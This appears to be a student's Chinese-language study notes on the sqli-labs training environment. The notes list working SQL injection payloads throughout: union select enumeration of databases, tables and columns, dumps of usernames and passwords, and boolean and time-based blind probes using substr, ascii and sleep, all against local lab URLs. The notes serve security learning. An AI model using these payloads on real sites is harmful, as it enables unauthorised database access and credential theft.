less1-4:(get)入门,使用联合注入.
less5-10:(get)使用布尔盲注,时间盲注.
less11-12:(post)升级,本质上还是联合注入.
less13-16: (post) 升级,在post基础上变为盲注,需要布尔盲注,时间盲注.(使用burpsuite爆破)
less17-: (post) 升级,在usename加入了转义,导致无法在usename上注入,但是newpassword可以注入。
闭合类型判断:
1:’
2:’)
3: ‘))
4: “
5: “)
6:”))
在字符型注入中:
1: 1 and 1=2;后面的and 1=2会被忽略,加个–+就不会了。
2:利用http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ and ‘1’=’2判断是否是字符型注入。
在数字型注入中:
1:利用 ?id=1 and 1=2来判断是否是数字型。
order by (不需要将id变为-) 查询有几列可以查询
union select 1,2,3–+ 查询有哪几个语句可以回显(前提是将?id=负数使其报错)
group_concat() 一起显示(查库) eg: union select 1,2,group_concat(schema_name) from information_schema.schemata–+
(前提是要把id变为-) (查表) eg: union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+(有’’一般换为16进制)
eg: union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+
c:\Users\朔星\Desktop\转进制.png
group_concat(concat_ws()) 爆出所有关于一个表的资料 eg: union select 1,2,group_concat(concat_ws(‘/‘,username,password)) from security.users–+ (/–代表用/隔开username与password)
limit 限制显示 eg:http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,schema_name from information_schema.schemata limit 1,2–+ (1,2可以更改)。
盲注:
length() 查询长度 eg: if(length(database())<3,1,sleep(3))
left() 判断显示 eg:http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘ and left((database()),1)=’s’–+(别把’给忘记了)。
substr() 与上面类似,写的方法不一样,都为判断回显 (从a的b位开始截取长度为c的字符)
eg:192.168.205.129/sqli-labs-master/Less-5/?id=1’ and substr((select database()),1,1)=’s’–+
192.168.205.129————–为了能够使本地文件夹能够被抓包 (通过cmd—ipconfig指令查询内网)
acsii函数判断法(二分法) eg: 192.168.205.129/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >90–+
if函数: ?id=1’ and(或者是or) if(ascii(substr((select database()),1,1))>110,1,sleep(5));
post传输; 先用抓包抓出(或者HTTP header live)post传输的东西
uname=4’ union select 1,group_concat(username,’/‘,password) from security.users #&passwd=admin&Submit=Submitta(记得要把第一个submit改为大写)